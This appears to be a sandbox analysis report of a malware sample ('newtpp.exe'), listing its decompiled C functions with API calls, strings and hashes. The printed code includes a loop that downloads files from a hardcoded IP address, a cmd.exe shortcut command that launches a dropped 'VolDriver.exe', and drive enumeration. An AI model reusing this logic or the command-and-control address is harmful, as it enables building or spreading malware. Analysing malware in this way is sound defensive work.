				_v16 = 0;
				_v12 = 0x80000002;
				_v8 = 0x80000001;
				_v24 = 0;
				while(_v24 < 2) {
					if(RegOpenKeyExW( *(_t44 + _v24 * 4 - 8), L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, 0x20019,  &_v28) == 0) {
						_v32 = 0;
						_v36 = 4;
						if(RegQueryValueExW(_v28, L"NoDrives", 0, 0,  &_v32,  &_v36) == 0 && _v32 != 0) {
							_v16 = _v16 | _v32;
						}
						RegCloseKey(_v28);
					}
					_v24 = _v24 + 1;
				}
				return  !_v16 & _v20;
			}

0x00404cbc
0x00404cbf
0x00404cc6
0x00404ccd
0x00404cd4
0x00404ce6
0x00404d0c
0x00404d0e
0x00404d15
0x00404d39
0x00404d47
0x00404d47
0x00404d4e
0x00404d4e
0x00404ce3
0x00404ce3
0x00404d61

APIs

GetLogicalDrives.KERNEL32 ref: 00404CB6
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00404D04
RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00404D31
RegCloseKey.ADVAPI32(?), ref: 00404D4E

Strings

NoDrives, xrefs: 00404D28
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, xrefs: 00404CF7

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CloseDrivesLogicalOpenQueryValue
String ID: NoDrives$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
API String ID: 2666887985-3471754645
Opcode ID: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction ID: 1183846ab50913c5dc9fb8b6007841b1b3d3e2f8f7d5b2678c7a8c905f18143c
Opcode Fuzzy Hash: 9d90b313020425024ef4211a7d2766a6eb2190f61c39788aa0d4f477df4a16fe
Instruction Fuzzy Hash: 0E110DB0E4020A9BDF10CFD0D945BEEBB74FB48704F108019E611B7280D7B89645CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00404970 Relevance: 9.2, APIs: 6, Instructions: 177
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00404970(intOrPtr _a12, intOrPtr _a16) {
				signed int _v5;
				void* _v12;
				signed int _v13;
				signed int _v20;
				void* _v24;
				void* _v28;
				signed int _v32;
				long _v36;
				signed char _t76;
				void* _t79;
				intOrPtr _t87;
				intOrPtr _t88;
				signed char _t91;
				signed int _t141;
				void* _t158;
				void* _t159;
				void* _t160;
				void* _t169;

				_v5 = 0;
				EnterCriticalSection(0x416398);
				_t111 = _a12;
				_t76 = E0040B270(_a12, _a16);
				_t159 = _t158 + 8;
				if((_t76 & 0x000000ff) != 0) {
					_t79 = E0040B210(_t111, _a12);
					_t160 = _t159 + 4;
					_v12 = _t79;
					if(_v12 != 0) {
						_v5 = 1;
						_v13 = 0;
						_v20 = 0;
						while(1) {
							_t169 = _v20 -  *0x4163b4; // 0x0
							if(_t169 >= 0) {
								break;
							}
							_v24 = _v20 * 0x110 +  *0x4163b0;
							if( *((intOrPtr*)(_v24 + 4)) ==  *((intOrPtr*)(_v12 + 4))) {
								memcpy(_v24, _v12, 0x40 << 2);
								E00408C70( *((intOrPtr*)(_v24 + 0x108)));
								 *((intOrPtr*)(_v24 + 0x108)) = E00408CE0(_a12, _a16);
								 *((intOrPtr*)(_v24 + 0x10c)) = _a16;
								E00408C70( *((intOrPtr*)(_v24 + 0x100)));
								 *((intOrPtr*)(_v24 + 0x104)) = _a16 - 0x100;
								 *((intOrPtr*)(_v24 + 0x100)) = E0040AB80( *((intOrPtr*)(_v24 + 0x104)), _v24 + 0x14, 0x14, _a12 + 0x100,  *((intOrPtr*)(_v24 + 0x104)));
								_push( *((intOrPtr*)(_v24 + 8)));
								E00405C90( *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 4)),  *((intOrPtr*)(_v24 + 0x100)),  *((intOrPtr*)(_v24 + 0x104)));
								_t160 = _t160 + 0x3c;
								_v13 = 1;
							} else {
								_v20 = _v20 + 1;
								continue;
							}
							break;
						}
						__eflags = _v13 & 0x000000ff;
						if((_v13 & 0x000000ff) == 0) {
							_t91 = E004044E0(_a16, _v12, _a12, _a16, 1);
							_t160 = _t160 + 0x10;
							__eflags = _t91 & 0x000000ff;
							if((_t91 & 0x000000ff) == 0) {
								 *0x4163b4 = 0;
								_v5 = 0;
							}
						}
						E00408C70(_v12);
						__eflags = _v5 & 0x000000ff;
						if((_v5 & 0x000000ff) != 0) {
							_v28 = CreateFileW(0x4165c8, 0x40000000, 0, 0, 2, 2, 0);
							__eflags = _v28 - 0xffffffff;
							if(_v28 != 0xffffffff) {
								_v32 = 0;
								while(1) {
									__eflags = _v32 -  *0x4163b4; // 0x0
									if(__eflags >= 0) {
										break;
									}
									_t87 =  *0x4163b0; // 0x0
									_t88 =  *0x4163b0; // 0x0
									WriteFile(_v28,  *(_t88 + 0x108 + _v32 * 0x110),  *(_t87 + 0x10c + _v32 * 0x110),  &_v36, 0);
									_t141 = _v32 + 1;
									__eflags = _t141;
									_v32 = _t141;
								}
								FlushFileBuffers(_v28);
								CloseHandle(_v28);
							}
						}
					}
				}
				LeaveCriticalSection(0x416398);
				return _v5;
			}

0x00404978
0x00404981
0x0040498b
0x0040498f
0x00404994
0x0040499c
0x004049a6
0x004049ab
0x004049ae
0x004049b5
0x004049bb
0x004049bf
0x004049c3
0x004049d5
0x004049d8
0x004049de
0x00000000
0x00000000
0x004049f3
0x00404a02
0x00404a11
0x00404a1d
0x00404a38
0x00404a44
0x00404a54
0x00404a68
0x00404a96
0x00404aa2
0x00404abe
0x00404ac3
0x00404ac6
0x00404a04
0x004049d2
0x00000000
0x004049d2
0x00000000
0x00404a02
0x00404ad5
0x00404ad7
0x00404ae7
0x00404aec
0x00404af2
0x00404af4
0x00404af6
0x00404b00
0x00404b00
0x00404af4
0x00404b08
0x00404b14
0x00404b16
0x00404b36
0x00404b39
0x00404b3d
0x00404b3f
0x00404b51
0x00404b54
0x00404b5a
0x00000000
0x00000000
0x00404b6b
0x00404b81
0x00404b92
0x00404b4b
0x00404b4b
0x00404b4e
0x00404b4e
0x00404b9e
0x00404ba8
0x00404ba8
0x00404b3d
0x00404b16
0x004049b5
0x00404bb3
0x00404bc1

APIs

EnterCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404981
CreateFileW.KERNEL32(004165C8,40000000,00000000,00000000,00000002,00000002,00000000,?,?,?,?,00000000,0040A547,006A0266), ref: 00404B30
WriteFile.KERNEL32(000000FF,?,?,00000000,00000000,?,?,?,?,00000000), ref: 00404B92
FlushFileBuffers.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404B9E
CloseHandle.KERNEL32(000000FF,?,?,?,?,00000000), ref: 00404BA8
LeaveCriticalSection.KERNEL32(00416398,?,?,00000000,0040A547,006A0266,?,0040A563,00000000,0040B81C,?), ref: 00404BB3

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWrite
String ID:
API String ID: 2945370292-0
Opcode ID: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction ID: 17ab94b32ecbdd43ae5be3672dc601cffb9a037549fc2dffe68e9228f76f24ff
Opcode Fuzzy Hash: 1fef3702c3e63574ed35e0dfe7bc8173a088fc6aeaa4d3467fc2287270656826
Instruction Fuzzy Hash: 487182B5A00109ABCB04CF94D985FEFB7B5FB88304F148169EA05B7381C779E941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BBA0 Relevance: 9.1, APIs: 6, Instructions: 80
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BBA0(signed int* _a4, long _a8, _Unknown_base(*)()* _a12, void* _a16, DWORD* _a20, HANDLE* _a24) {
				long _v8;
				signed int* _v12;
				void* _v16;
				void* _t49;

				_v8 = 0;
				if(_a4 == 0) {
					L8:
					return _v8;
				}
				_v12 = _a4;
				EnterCriticalSection( &(_v12[1]));
				E0040BB20( &(_v12[1]), _v12);
				if(_a12 != 0) {
					_v12[7] = E00408B60(_v12[7], 4 +  *_v12 * 4, _v12[7], 4 +  *_v12 * 4);
					if(_v12[7] != 0) {
						_v16 = CreateThread(0, _a8, _a12, _a16, 0, _a20);
						if(_v16 != 0) {
							 *((intOrPtr*)(_v12[7] +  *_v12 * 4)) = _v16;
							 *_v12 =  *_v12 + 1;
							if(_a24 != 0) {
								_t49 = GetCurrentProcess();
								DuplicateHandle(GetCurrentProcess(), _v16, _t49, _a24, 0, 0, 2);
							}
							_v8 = 1;
						}
					}
				}
				LeaveCriticalSection( &(_v12[1]));
				goto L8;
			}

0x0040bba6
0x0040bbb1
0x0040bc88
0x0040bc8e
0x0040bc8e
0x0040bbba
0x0040bbc4
0x0040bbce
0x0040bbda
0x0040bbff
0x0040bc09
0x0040bc25
0x0040bc2c
0x0040bc3c
0x0040bc4a
0x0040bc50
0x0040bc5c
0x0040bc6e
0x0040bc6e
0x0040bc74
0x0040bc74
0x0040bc2c
0x0040bc09
0x0040bc82
0x00000000

APIs

EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040BBC4

Part of subcall function 0040BB20: WaitForSingleObject.KERNEL32(?,00000000), ref: 0040BB60
Part of subcall function 0040BB20: CloseHandle.KERNEL32(?), ref: 0040BB79

CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040BC1F
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040BC5C
GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040BC67
DuplicateHandle.KERNEL32(00000000), ref: 0040BC6E
LeaveCriticalSection.KERNEL32(-00000004), ref: 0040BC82

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CriticalCurrentHandleProcessSection$CloseCreateDuplicateEnterLeaveObjectSingleThreadWait
String ID:
API String ID: 2251373460-0
Opcode ID: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction ID: 02f9ad1cbe3c42a1849ee7ac27792547e5d144dd11b2029950602c6e4363e771
Opcode Fuzzy Hash: 33c17659471092c2b756b62356fc1a2425cda27d656a6ab2967af513715b6e0f
Instruction Fuzzy Hash: 3E311074900208EFDB04DF94D899F9E7BB5FF48304F108159E905A7391D775AA91CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00407980 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407980(signed int _a4, signed int _a8) {

				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}

0x0040798d
0x0040799e
0x004079a7
0x004079aa
0x004079c0
0x004079dc
0x004079e5
0x004079e8
0x004079fe
0x00407a1a
0x00407a23
0x00407a26
0x00407a32

APIs

_allshl.NTDLL ref: 0040798D
_aullshr.NTDLL ref: 0040799E
_allshl.NTDLL ref: 004079C0
_aullshr.NTDLL ref: 004079DC
_allshl.NTDLL ref: 004079FE
_aullshr.NTDLL ref: 00407A1A

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction ID: 2093b42955e45bd62e61740d1c7aadb5a606cc23c90c49e7bcc84aa687a307ef
Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction Fuzzy Hash: 2C1121325005286B9B10EF5EC4826CABBD6EF84361B15C136FC2CDF359D634D9515BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF0 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
sleepCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00405CF0() {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _v172;
				signed char _t35;
				void* _t45;
				void* _t46;

				_v44 = 0;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0;
				_v12 = 0;
				_v8 = 0;
				_v168 = 0x411130;
				_v164 = 0x411134;
				_v160 = 0x411138;
				_v156 = 0x41113c;
				_v152 = 0x411140;
				while(1) {
					Sleep(0x3e8);
					_v172 = 0;
					while(_v172 < 5) {
						Sleep(0x3e8);
						_push( *((intOrPtr*)(_t45 + _v172 * 4 - 0xa4)));
						_push("http://185.215.113.66/");
						wsprintfA( &_v148, "%s%s");
						_t35 = E0040D440( &_v148, _t45 + _v172 * 4 - 0x28);
						_t46 = _t46 + 0x18;
						if((_t35 & 0x000000ff) == 1) {
							E0040D4F0( &_v148, 0);
							_t46 = _t46 + 8;
						}
						_v172 = _v172 + 1;
					}
					Sleep(0xdbba0);
				}
			}

0x00405cf9
0x00405d02
0x00405d05
0x00405d08
0x00405d0b
0x00405d0e
0x00405d11
0x00405d14
0x00405d17
0x00405d1a
0x00405d1d
0x00405d27
0x00405d31
0x00405d3b
0x00405d45
0x00405d4f
0x00405d54
0x00405d5a
0x00405d75
0x00405d83
0x00405d96
0x00405d97
0x00405da8
0x00405dc3
0x00405dc8
0x00405dd1
0x00405ddc
0x00405de1
0x00405de1
0x00405d6f
0x00405d6f
0x00405deb
0x00405deb

APIs

Sleep.KERNEL32(000003E8), ref: 00405D54
Sleep.KERNEL32(000003E8), ref: 00405D83
wsprintfA.USER32 ref: 00405DA8
Sleep.KERNEL32(000DBBA0), ref: 00405DEB

Strings

http://185.215.113.66/, xrefs: 00405D97
%s%s, xrefs: 00405D9C

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Sleep$wsprintf
String ID: %s%s$http://185.215.113.66/
API String ID: 3195947292-2646931437
Opcode ID: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction ID: 33448fd8f16b6151abdcaf40b6ca2b1b809edec1cb8df60be6306fd5b5127b81
Opcode Fuzzy Hash: c2637b0e451e789f276395e354baee512bf947ab07dd5ce8b1a8847efd57730a
Instruction Fuzzy Hash: 22213B70E00318AFCB50DF64DD45BDEBBB4AF09304F1080ABD24DB6281DB785A898F5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106
networkCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040DBD0(int __eax, long _a4, void* _a8, intOrPtr _a12, short _a16) {
				short _v6;
				short _v10;
				short _v14;
				short _v18;
				short _v20;
				short _v22;
				int* _v24;
				char _v25;
				char _v29;
				int* _v52;
				char _v53;
				short _t30;
				short _t35;
				long _t38;
				int* _t45;
				intOrPtr* _t50;
				void* _t60;
				int _t64;
				long _t67;

				_t50 = _a4;
				_t64 = __eax;
				_t30 = 0;
				_v25 = 0;
				if(_t50 == 0 ||  *_t50 != 0x756470 || _a8 == 0 || __eax == 0) {
					L12:
					return _t30;
				} else {
					_t60 = __eax + 4;
					_t45 = E00408B20(_t60);
					_t6 =  &(_t45[1]); // 0x4
					_v24 = _t45;
					 *_t45 = _t64;
					memcpy(_t6, _a8, _t64);
					_v18 = 0;
					_v14 = 0;
					_v10 = 0;
					_v6 = 0;
					_t35 = _a16;
					_v20 = 2;
					__imp__#9(_t35);
					_v22 = _t35;
					_v20 = _a12;
					if(_t60 == 0) {
						L10:
						_v29 = 1;
						E00408C70(_t45);
						return _v29;
					} else {
						while(1) {
							_t38 = _a4;
							__imp__#20( *((intOrPtr*)(_t38 + 8)), _t45, _t60, 0,  &_v24, 0x10);
							_t67 = _t38;
							if(_t67 == 0xffffffff) {
								break;
							}
							InterlockedExchangeAdd(_a4 + 0x1c, _t67);
							_t60 = _t60 - _t67;
							_t45 = _t45 + _t67;
							if(_t60 != 0) {
								continue;
							} else {
								_v53 = 1;
								E00408C70(_v52);
								return _v53;
							}
							goto L13;
						}
						if(_t60 != 0) {
							E00408C70(_v52);
							_t30 = _v53;
							goto L12;
						} else {
							_t45 = _v52;
							goto L10;
						}
					}
				}
				L13:
			}

0x0040dbd9
0x0040dbde
0x0040dbe0
0x0040dbe3
0x0040dbe9
0x0040dcea
0x0040dcf0
0x0040dc0d
0x0040dc0d
0x0040dc16
0x0040dc1d
0x0040dc21
0x0040dc25
0x0040dc27
0x0040dc2e
0x0040dc32
0x0040dc36
0x0040dc3a
0x0040dc3f
0x0040dc4b
0x0040dc50
0x0040dc59
0x0040dc5e
0x0040dc64
0x0040dcc0
0x0040dcc1
0x0040dcc6
0x0040dcd8
0x0040dc66
0x0040dc66
0x0040dc66
0x0040dc78
0x0040dc7e
0x0040dc83
0x00000000
0x00000000
0x0040dc8d
0x0040dc93
0x0040dc95
0x0040dc99
0x00000000
0x0040dc9b
0x0040dca0
0x0040dca5
0x0040dcb7
0x0040dcb7
0x00000000
0x0040dc99
0x0040dcba
0x0040dcde
0x0040dce3
0x00000000
0x0040dcbc
0x0040dcbc
0x00000000
0x0040dcbc
0x0040dcba
0x0040dc64
0x00000000

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 0040DC27
htons.WS2_32(?), ref: 0040DC50
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 0040DC78
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DC8D

Strings

pdu, xrefs: 0040DBEF

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction ID: 1900bc5e36bec968277d7fd378407ddad580e15f752f42e7870c86cf4b77d333
Opcode Fuzzy Hash: 64e6edf90043f3ef5267befaaf6f5bc9513a580fe3cc4bc2b57856c41bc94de3
Instruction Fuzzy Hash: 2F31E1766083009FD710DFA9D880A9BB7E4AF89714F04456EF99897382D674CD08CBEB

Uniqueness

Uniqueness Score: -1.00%

Function 00404D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94
comCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404D70(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410338, 0, 1, 0x410328, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x415124, 0x415124);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410348,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}

0x00404d7b
0x00404d81
0x00404d93
0x00404d99
0x00404da0
0x00404dc6
0x00404de0
0x00404ded
0x00404df3
0x00404df6
0x00404e06
0x00404e1b
0x00404e33
0x00404e3a
0x00404e54
0x00404e62
0x00404e62
0x00000000
0x00404e70
0x00404e75

APIs

CoInitialize.OLE32(00000000), ref: 00404D7B
CoCreateInstance.OLE32(00410338,00000000,00000001,00410328,?), ref: 00404D93
wsprintfW.USER32 ref: 00404DC6

Strings

/c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404DBA
%windir%\System32\cmd.exe, xrefs: 00404DCF

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
API String ID: 2038452267-2473591295
Opcode ID: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction ID: 2a49fd5d28e8ccd51fed007e1346deb4ba552c81a06522ba7ecdc7d03be8f695
Opcode Fuzzy Hash: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction Fuzzy Hash: 8B31B775A40208EFCB04DF98D885EDEB7B5FF88704F208199E615A72A0C674AE81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00405BA0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,0040652D), ref: 00405BA8
SysAllocString.OLEAUT32(C:\Users\user\Desktop\newtpp.exe), ref: 00405BB3
CoUninitialize.OLE32 ref: 00405BD8

Part of subcall function 00405910: SysFreeString.OLEAUT32(00000000), ref: 00405B28

SysFreeString.OLEAUT32(00000000), ref: 00405BD2

Strings

C:\Users\user\Desktop\newtpp.exe, xrefs: 00405BAE

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Users\user\Desktop\newtpp.exe
API String ID: 459949847-2557292532
Opcode ID: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction ID: 8e1ceaac5e3c15648392f9261d8fa4bd32f1c3ccaf3a14fdf2aec8c3e2deeebf
Opcode Fuzzy Hash: 6cd694fec373ba90f407f83b999d67f828c72ca168007c4fd3c8841ffbaea35b
Instruction Fuzzy Hash: C9E048B5940208FBD704EBE0DD0EB9D7774DB05305F1041B5F50566291DAF99E80CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00409660 Relevance: 7.6, APIs: 5, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409660(void* __eax) {
				void* _v8;
				long _v12;
				void* _v16;
				signed int _v20;
				long _v24;
				signed int _t36;
				void* _t38;
				signed int _t65;

				if( *0x416e2c == 0) {
					return __eax;
				}
				_t36 =  *0x416e2c; // 0x0
				_v12 = _t36 << 3;
				_t38 = E00408B20(_v12);
				_v8 = _t38;
				__eflags = _v8;
				if(_v8 != 0) {
					_v20 = 0;
					while(1) {
						__eflags = _v20 -  *0x416e2c; // 0x0
						if(__eflags >= 0) {
							break;
						}
						 *((intOrPtr*)(_v8 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 4));
						 *((intOrPtr*)(_v8 + 4 + _v20 * 8)) =  *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v20 * 4)) + 8));
						_t65 = _v20 + 1;
						__eflags = _t65;
						_v20 = _t65;
					}
					_v16 = CreateFileW(0x416be8, 0x40000000, 0, 0, 2, 2, 0);
					__eflags = _v16 - 0xffffffff;
					if(_v16 != 0xffffffff) {
						WriteFile(_v16, _v8, _v12,  &_v24, 0);
						FlushFileBuffers(_v16);
						CloseHandle(_v16);
					}
					InterlockedExchange(0x4143b4, 0x3d);
					return E00408C70(_v8);
				}
				return _t38;
			}

0x0040966d
0x00000000
0x00000000
0x00409674
0x0040967c
0x00409683
0x0040968b
0x0040968e
0x00409692
0x00409698
0x004096aa
0x004096ad
0x004096b3
0x00000000
0x00000000
0x004096c8
0x004096de
0x004096a4
0x004096a4
0x004096a7
0x004096a7
0x004096fe
0x00409701
0x00409705
0x00409719
0x00409723
0x0040972d
0x0040972d
0x0040973a
0x00000000
0x00409749
0x0040974f

APIs

CreateFileW.KERNEL32(00416BE8,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004096F8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 00409719
FlushFileBuffers.KERNEL32(000000FF), ref: 00409723
CloseHandle.KERNEL32(000000FF), ref: 0040972D
